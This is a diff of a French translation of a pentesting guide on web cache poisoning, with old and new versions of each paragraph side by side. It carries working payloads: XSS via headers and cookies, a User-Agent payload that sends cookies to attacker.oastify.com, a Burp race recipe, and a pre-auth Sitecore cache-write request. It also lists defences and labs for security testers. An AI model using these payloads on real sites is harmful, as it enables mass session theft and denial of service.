1. **Identification des paramètres non pris en compte dans la clé** : ce sont des paramètres qui, bien qu'ils ne soient pas pris en compte pour la mise en cache d'une requête, peuvent modifier la réponse renvoyée par le serveur. Les identifier est crucial car ils peuvent être exploités pour manipuler le cache.
|
||||
2. **Exploitation des paramètres non pris en compte** : après les avoir identifiés, l'étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur de manière avantageuse pour l'attaquant.
|
||||
3. **S'assurer que la réponse empoisonnée est mise en cache** : la dernière étape est de garantir que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse altérée.
|
||||
1. **Identification of Unkeyed Inputs** : Ce sont des paramètres qui, bien qu'ils ne soient pas requis pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces inputs est crucial car ils peuvent être exploités pour manipuler le cache.
|
||||
2. **Exploitation of the Unkeyed Inputs** : Après avoir identifié les unkeyed inputs, l'étape suivante consiste à comprendre comment détourner ces paramètres pour modifier la réponse du serveur d'une manière avantageuse pour l'attaquant.
|
||||
3. **Ensuring the Poisoned Response is Cached** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse corrompue.
|
||||
|
||||
### Découverte : Vérifier les en-têtes HTTP
|
||||
|
||||
Généralement, lorsqu'une réponse a été **stockée dans le cache** il y aura un **en-tête l'indiquant**. Vous pouvez vérifier quels en-têtes vous devez surveiller dans cet article : [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Généralement, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant** ; vous pouvez vérifier quels en-têtes méritent votre attention dans ce post : [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Découverte : Mise en cache des codes d'erreur
|
||||
|
||||
Si vous pensez que la réponse est stockée dans un cache, vous pouvez essayer d'**envoyer des requêtes avec un en-tête mal formé**, qui devrait être répondu par un **code d'état 400**. Ensuite, essayez d'accéder normalement à la requête et si la **réponse renvoie un code 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
|
||||
Si vous pensez que la réponse est stockée dans un cache, vous pouvez essayer d'**envoyer des requêtes avec un en-tête invalide**, qui devrait répondre avec un **code de statut 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code 400**, vous savez que c'est vulnérable (et vous pourriez même effectuer un DoS).
|
||||
|
||||
Vous pouvez trouver plus d'options dans :
|
||||
|
||||
@ -34,43 +34,43 @@ Vous pouvez trouver plus d'options dans :
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cache**, donc ce test peut ne pas être fiable.
|
||||
Cependant, notez que **parfois ces types de codes de statut ne sont pas mis en cache**, donc ce test peut ne pas être fiable.
|
||||
|
||||
### Découverte : Identifier et évaluer les paramètres non pris en compte dans la clé de cache
|
||||
### Découverte : Identifier et évaluer les unkeyed inputs
|
||||
|
||||
Vous pouvez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **brute-force parameters and headers** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script depuis là :
|
||||
Vous pouvez utiliser Param Miner pour brute-forcer les paramètres et en-têtes qui peuvent modifier la réponse de la page. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script depuis là :
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Provoquer une réponse malveillante depuis le serveur back-end
|
||||
### Provoquer une réponse malveillante du serveur back-end
|
||||
|
||||
Avec le paramètre/en-tête identifié, vérifiez comment il est **assaini** et **où** il est **reflété** ou affecte la réponse. Pouvez-vous l'abuser malgré tout (réaliser une XSS ou charger un code JS que vous contrôlez ? effectuer un DoS ?...)
|
||||
Une fois le paramètre/header identifié, vérifiez comment il est assaini et où il est reflété ou comment il affecte la réponse. Pouvez-vous l'exploiter malgré tout (réaliser un XSS ou charger du code JS que vous contrôlez ? effectuer un DoS ?...)
|
||||
|
||||
### Obtenir la mise en cache de la réponse
|
||||
### Mettre la réponse en cache
|
||||
|
||||
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** l'**abuser**, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de placer en cache, cela peut prendre un certain temps ; il se peut que vous deviez réessayer pendant plusieurs secondes.
|
||||
Une fois que vous avez identifié la page qui peut être exploitée, quel paramètre/header utiliser et comment l'abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps ; vous devrez peut‑être réessayer pendant plusieurs secondes.
|
||||
|
||||
L'en-tête **`X-Cache`** dans la réponse peut être très utile car il peut avoir la valeur **`miss`** quand la requête n'a pas été mise en cache et la valeur **`hit`** quand elle est en cache.\
|
||||
L'en-tête **`Cache-Control`** est aussi intéressant pour savoir si une ressource est mise en cache et quand elle sera recachée : `Cache-Control: public, max-age=1800`
|
||||
L'en-tête `X-Cache` dans la réponse peut être très utile car il peut prendre la valeur `miss` lorsque la requête n'a pas été mise en cache et la valeur `hit` lorsqu'elle l'est.\
|
||||
L'en-tête `Cache-Control` est également intéressant pour savoir si une ressource est mise en cache et quand elle sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
|
||||
|
||||
Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **faisant partie de la clé du cache** même s'ils ne sont normalement pas pris en compte. Par conséquent, si l'attaquant connaît le `User-Agent` de la victime qu'il vise, il peut poison the cache pour les utilisateurs utilisant ce `User-Agent` spécifique.
|
||||
Un autre en-tête intéressant est `Vary`. Cet en-tête est souvent utilisé pour indiquer des en-têtes supplémentaires qui sont traités comme faisant partie de la clé de cache même s'ils ne sont normalement pas pris en compte. Par conséquent, si l'attaquant connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.
|
||||
|
||||
Un autre en-tête lié au cache est **`Age`**. Il indique le temps en secondes pendant lequel l'objet est resté dans le cache du proxy.
|
||||
Un autre en-tête lié au cache est `Age`. Il définit le temps en secondes pendant lequel l'objet est resté dans le cache du proxy.
|
||||
|
||||
Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux peuvent être **pris en compte de façon inattendue** comme **faisant partie de la clé du cache**, et la **victime devra utiliser ce même en-tête**. Testez toujours un Cache Poisoning avec **différents navigateurs** pour vérifier que cela fonctionne.
|
||||
Lors de la mise en cache d'une requête, faites attention aux en-têtes que vous utilisez car certains d'entre eux pourraient être utilisés de manière inattendue comme clés, et la victime devra utiliser ce même en-tête. Testez toujours un Cache Poisoning avec différents navigateurs pour vérifier que cela fonctionne.
|
||||
|
||||
## Exemples d'exploitation
|
||||
## Exploiting Examples
|
||||
|
||||
### Exemple le plus simple
|
||||
### Easiest example
|
||||
|
||||
Un en-tête comme `X-Forwarded-For` est reflété dans la réponse sans être assaini.\
|
||||
Vous pouvez envoyer un payload XSS basique et poison the cache afin que toute personne qui accède à la page soit XSSed:
|
||||
Vous pouvez envoyer un payload XSS basique et empoisonner le cache de sorte que toute personne accédant à la page soit victime d'un XSS :
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_Notez que cela va empoisonner une requête vers `/en?region=uk` et non vers `/en`_
|
||||
_Notez que cela empoisonnera une requête vers `/en?region=uk` et non vers `/en`_
|
||||
|
||||
### Cache poisoning to DoS
|
||||
|
||||
@ -79,27 +79,27 @@ _Notez que cela va empoisonner une requête vers `/en?region=uk` et non vers `/e
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Cache poisoning à travers les CDNs
|
||||
### Cache poisoning through CDNs
|
||||
|
||||
Dans **[cet writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** est expliqué le scénario simple suivant :
|
||||
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** il est expliqué le scénario simple suivant :
|
||||
|
||||
- Le CDN mettra en cache tout ce qui se trouve sous `/share/`
|
||||
- Le CDN NE décodera ni ne normalisera `%2F..%2F`, par conséquent, il peut être utilisé comme **path traversal to access other sensitive locations that will be cached** comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Le CDN mettra en cache tout sous `/share/`
|
||||
- Le CDN NE décodera PAS ni ne normalisera `%2F..%2F`, par conséquent, il peut être utilisé comme **path traversal pour accéder à d'autres emplacements sensibles qui seront mis en cache** comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Le serveur web DÉCODERA et normalisera `%2F..%2F`, et répondra avec `/api/auth/session`, qui **contains the auth token**.
|
||||
|
||||
### Utiliser web cache poisoning pour exploiter des vulnérabilités de gestion des cookies
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
Les cookies peuvent aussi être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez exploiter le XSS dans plusieurs clients qui chargent la réponse de cache malveillante.
|
||||
Cookies peuvent également être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être capable d'exploiter XSS sur plusieurs clients qui chargent la réponse de cache malveillante.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
Notez que si le cookie vulnérable est très utilisé par les utilisateurs, des requêtes régulières nettoieront le cache.
|
||||
Notez que si le cookie vulnérable est très utilisé par les utilisateurs, des requêtes régulières videront le cache.
|
||||
|
||||
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Générer des divergences avec des délimiteurs, la normalisation et les points <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Voir :
|
||||
Consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -108,27 +108,27 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare normalise l'URL, ce qui était fait lorsque la requête atteignait le serveur web.
|
||||
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une OpenAI API key avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare normalise l'URL, ce qui était fait lorsque la requête atteignait le serveur web.
|
||||
|
||||
Ceci est également mieux expliqué dans :
|
||||
Ceci est aussi mieux expliqué dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Utiliser plusieurs headers pour exploiter web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Parfois, vous devrez **exploit several unkeyed inputs** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine que vous contrôlez et `X-Forwarded-Scheme` sur `http`. Si le **serveur** redirige toutes les requêtes **HTTP** vers **HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection, vous pouvez contrôler où la page est pointée par la redirection.
|
||||
Parfois, vous devrez **exploiter plusieurs entrées non utilisées comme clé** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine contrôlé par vous et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **redirige** toutes les requêtes **HTTP** **vers HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection, vous pouvez contrôler la destination de la redirection.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Exploiter un `Vary` header limité
|
||||
### Exploiter avec un `Vary` header limité
|
||||
|
||||
Si vous constatez que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS**, mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**, vous devez alors trouver un moyen d'exfiltrate le `User-Agent` de la victime et de poison the cache en utilisant ce `User-Agent` :
|
||||
Si vous constatez que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**, vous devez trouver un moyen d'exfiltrate le `User-Agent` de la victime et de poison the cache en utilisant ce `User-Agent` :
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -137,7 +137,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Envoyez une GET request avec le même contenu dans l'URL et dans le body. Si le web server utilise la valeur du body mais que le cache server met en cache celle de l'URL, toute personne accédant à cette URL utilisera en fait le paramètre provenant du body. Comme la vuln que James Kettle a trouvée sur le site Github :
|
||||
Envoyez une requête GET avec la requête dans l'URL et dans le body. Si le web server utilise celle du body mais que le cache server met en cache celle de l'URL, toute personne accédant à cette URL utilisera en fait le parameter du body. Comme la vuln que James Kettle a trouvée sur le site Github :
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -150,7 +150,7 @@ Il existe un lab PortSwigger à ce sujet : [https://portswigger.net/web-security
|
||||
|
||||
### Parameter Cloacking
|
||||
|
||||
Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela peut être utilisé pour insérer des valeurs de paramètres sans clé à l'intérieur de paramètres à clé et les exploiter.
|
||||
Par exemple, il est possible de séparer les **parameters** sur des serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela peut permettre de placer des valeurs de parameters sans clé à l'intérieur de parameters avec clé et de les exploiter.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
@ -158,58 +158,58 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
Apprenez ici comment effectuer [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
### Tests automatisés pour Web Cache Poisoning
|
||||
|
||||
Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques et est hautement personnalisable.
|
||||
Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
Exemple d'utilisation : `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
Ce schéma observé en conditions réelles enchaîne une primitive de réflexion basée sur un header avec le comportement du CDN/WAF pour empoisonner de manière fiable le HTML mis en cache et servi à d'autres utilisateurs :
|
||||
Ce pattern observé en conditions réelles enchaîne une primitive de reflection basée sur les headers avec le comportement du CDN/WAF pour empoisonner de manière fiable le HTML mis en cache et servi à d'autres utilisateurs :
|
||||
|
||||
- Le HTML principal reflétait un header de requête non fiable (par ex., `User-Agent`) dans un contexte exécutable.
|
||||
- Le CDN supprimait les headers de cache mais un cache interne/origin existait. Le CDN mettait aussi en cache automatiquement les requêtes se terminant par des extensions statiques (par ex., `.js`), tandis que le WAF appliquait une inspection de contenu plus légère aux GETs pour les ressources statiques.
|
||||
- Des particularités du flux de requêtes permettaient à une requête vers un chemin `.js` d'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS inter-utilisateurs via la réflexion d'en-tête.
|
||||
- Le HTML principal reflétait un header de requête non fiable (p.ex., `User-Agent`) dans un contexte exécutable.
|
||||
- Le CDN supprimait les headers de cache mais il existait un cache interne/origin. Le CDN mettait aussi automatiquement en cache les requêtes se terminant par des extensions statiques (p.ex., `.js`), tandis que le WAF appliquait une inspection de contenu moins stricte aux GETs pour les assets statiques.
|
||||
- Des particularités du flux de requêtes permettaient à une requête vers un chemin `.js` d'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS cross-user via la reflection de header.
|
||||
|
||||
Recette pratique (observée sur un CDN/WAF populaire) :
|
||||
|
||||
1) Depuis une IP propre (éviter les déclassements basés sur la réputation), définissez un `User-Agent` malveillant via le navigateur ou Burp Proxy Match & Replace.
|
||||
1) Depuis une IP propre (éviter les dégradations basées sur la réputation antérieure), définissez un malicious `User-Agent` via le navigateur ou Burp Proxy Match & Replace.
|
||||
2) Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez "Send group in parallel" (le mode single-packet fonctionne le mieux) :
|
||||
- Première requête : GET d'un chemin de ressource `.js` sur le même origin en envoyant votre `User-Agent` malveillant.
|
||||
- Immédiatement après : GET de la page principale (`/`).
|
||||
3) Cette course au routage CDN/WAF, combinée à l'auto-caching du `.js`, entraîne souvent l'ensemencement d'une variante HTML mise en cache empoisonnée qui est ensuite servie à d'autres visiteurs partageant les mêmes conditions de clé de cache (par ex., mêmes dimensions `Vary` comme `User-Agent`).
|
||||
- Première requête : GET d'une ressource `.js` sur le même origin en envoyant votre malicious `User-Agent`.
|
||||
- Immédiatement après : GET de la page principale (`/`).
|
||||
3) La course de routage CDN/WAF plus le `.js` auto-caché amorcent souvent une variante de HTML mise en cache empoisonnée qui est ensuite servie à d'autres visiteurs partageant les mêmes conditions de clé de cache (p.ex., mêmes dimensions `Vary` comme `User-Agent`).
|
||||
|
||||
Exemple de charge utile d'en-tête (pour exfiltrer des cookies non-HttpOnly) :
|
||||
Exemple de payload d'en-tête (pour exfiltrer des cookies non-HttpOnly) :
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
Operational tips:
|
||||
|
||||
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
|
||||
- Using an IP from the CDN's own cloud sometimes improves routing consistency.
|
||||
- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
|
||||
- Beaucoup de CDNs masquent les en-têtes de cache ; le poisoning peut n'apparaître que sur des cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs adresses IP depuis des points d'observation et limitez le débit pour éviter les déclencheurs de limitation de débit ou de réputation.
|
||||
- Utiliser une IP issue du cloud du CDN améliore parfois la cohérence du routage.
|
||||
- Si une CSP stricte est présente, cela fonctionne toujours si la réflexion s'exécute dans le contexte HTML principal et que la CSP autorise l'exécution inline ou est contournée par le contexte.
|
||||
|
||||
Impact:
|
||||
|
||||
- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
|
||||
- Si les cookies de session ne sont pas `HttpOnly`, un ATO zero-click est possible en mass-exfiltrating `document.cookie` depuis tous les utilisateurs servis par le poisoned HTML.
|
||||
|
||||
Defenses:
|
||||
|
||||
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
|
||||
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
|
||||
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
|
||||
- Cessez de refléter les en-têtes de requête dans le HTML ; encodez strictement selon le contexte si inévitable. Alignez les politiques de cache du CDN et de l'origin et évitez de varier selon des en-têtes non fiables.
|
||||
- Assurez-vous que le WAF applique l'inspection de contenu de manière cohérente aux requêtes `.js` et aux chemins statiques.
|
||||
- Définissez `HttpOnly` (et `Secure`, `SameSite`) sur les cookies de session.
|
||||
|
||||
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
|
||||
|
||||
Un pattern spécifique à Sitecore permet des écritures non authentifiées dans le HtmlCache en abusant de pre‑auth XAML handlers et de AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
|
||||
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
Cela écrit du HTML arbitraire sous un attacker‑chosen cache key, permettant un empoisonnement précis une fois les cache keys connues.
|
||||
Ceci écrit du HTML arbitraire sous une clé de cache choisie par l'attaquant, permettant un poisoning précis une fois les clés de cache connues.
|
||||
|
||||
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
|
||||
|
||||
@ -221,35 +221,35 @@ For full details (cache key construction, ItemService enumeration and a chained
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS a transmis le fragment présent dans l'URL sans le supprimer et générait la cache key en n'utilisant que le host, path et query (ignorant le fragment). Ainsi la requête `/#/../?r=javascript:alert(1)` était envoyée au backend comme `/#/../?r=javascript:alert(1)` et la cache key n'incluait pas le payload, seulement host, path et query.
|
||||
ATS a transmis le fragment présent dans l'URL sans le supprimer et a généré la clé de cache en utilisant uniquement l'hôte, le path et la query (ignorant le fragment). Ainsi, la requête `/#/../?r=javascript:alert(1)` a été envoyée au backend comme `/#/../?r=javascript:alert(1)` et la clé de cache ne contenait pas la payload, seulement l'hôte, le path et la query.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Envoyer une valeur invalide dans le header content-type déclenchait une réponse 405 mise en cache. La cache key contenait le cookie, il était donc possible seulement d'attaquer des unauth users.
|
||||
Envoyer une mauvaise valeur dans l'en-tête content-type a déclenché une réponse 405 mise en cache. La clé de cache contenait le cookie, donc il était possible d'attaquer uniquement des utilisateurs non authentifiés.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab utilise des GCP buckets pour stocker du contenu statique. **GCP Buckets** supportent le **header `x-http-method-override`**. Il était donc possible d'envoyer le header `x-http-method-override: HEAD` et d'empoisonner le cache pour retourner un corps de réponse vide. Il pouvait aussi supporter la méthode `PURGE`.
|
||||
GitLab utilise des buckets GCP pour stocker du contenu statique. **GCP Buckets** supportent l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de poison the cache afin de renvoyer un corps de réponse vide. Il pouvait aussi supporter la méthode `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le rôle du code Rack est de prendre la valeur du header **`x-forwarded-scheme`** et de la définir comme le scheme de la requête. Quand le header `x-forwarded-scheme: http` est envoyé, un redirect 301 vers la même location se produit, ce qui peut provoquer un Denial of Service (DoS) sur cette ressource. De plus, l'application peut prendre en compte le header `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d'un attacker, posant un risque de sécurité.
|
||||
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le rôle du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme scheme de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers la même location se produit, pouvant provoquer un Denial of Service (DoS) sur cette ressource. De plus, l'application peut prendre en compte l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d'un attaquant, créant un risque de sécurité.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare mettait auparavant en cache les réponses 403. Tenter d'accéder à S3 ou Azure Storage Blobs avec des headers Authorization incorrects renvoyait une réponse 403 qui était mise en cache. Bien que Cloudflare ait arrêté de mettre en cache les 403, ce comportement peut encore être présent chez d'autres services proxy.
|
||||
Cloudflare mettait auparavant en cache les réponses 403. Tenter d'accéder à S3 ou Azure Storage Blobs avec des en-têtes Authorization incorrects renvoyait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement peut encore être présent dans d'autres services de proxy.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Les caches incluent souvent des paramètres GET spécifiques dans la cache key. Par exemple, le Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par ex. `siz%65`) était aussi envoyée avec une valeur erronée, la cache key serait construite en utilisant le paramètre `size` correct. Pourtant, le backend traiterait la valeur dans le paramètre encodé. Encoder en URL le second paramètre `size` faisait qu'il était omis par le cache mais utilisé par le backend. Attribuer la valeur 0 à ce paramètre aboutissait à une erreur 400 Bad Request mise en cache.
|
||||
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Toutefois, si une version encodée en URL du paramètre (par ex. `siz%65`) était aussi envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramètre `size` correct. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du second paramètre `size` conduisait à son omission par le cache mais à son utilisation par le backend. Attribuer la valeur 0 à ce paramètre résultait en une erreur 400 Bad Request susceptible d'être mise en cache.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
Certains développeurs bloquent les requêtes avec des user-agents correspondant à des outils à fort trafic comme FFUF ou Nuclei pour gérer la charge serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que cache poisoning et DoS.
|
||||
Certains développeurs bloquent les requêtes dont les user-agents correspondent à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que cache poisoning et DoS.
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms de headers. Les headers contenant des caractères en dehors de la plage **tchar** devraient idéalement déclencher une 400 Bad Request. En pratique, les serveurs n'adhèrent pas toujours à cette norme. Un exemple notable est Akamai, qui forwarde des headers avec des caractères invalides et met en cache toute erreur 400, tant que le header `cache-control` n'est pas présent. Un pattern exploitable a été identifié où l'envoi d'un header avec un caractère illégal, comme `\`, résultait en une 400 Bad Request mise en cache.
|
||||
Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms d'en-têtes. Les en-têtes contenant des caractères en dehors de la plage **tchar** devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs n'adhèrent pas toujours à cette norme. Un exemple notable est Akamai, qui transfère des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête `cache-control` n'est pas présent. Un schéma exploitable a été identifié où l'envoi d'un en-tête contenant un caractère illégal, comme `\`, entraînait une erreur 400 Bad Request mise en cache.
|
||||
|
||||
### Finding new headers
|
||||
|
||||
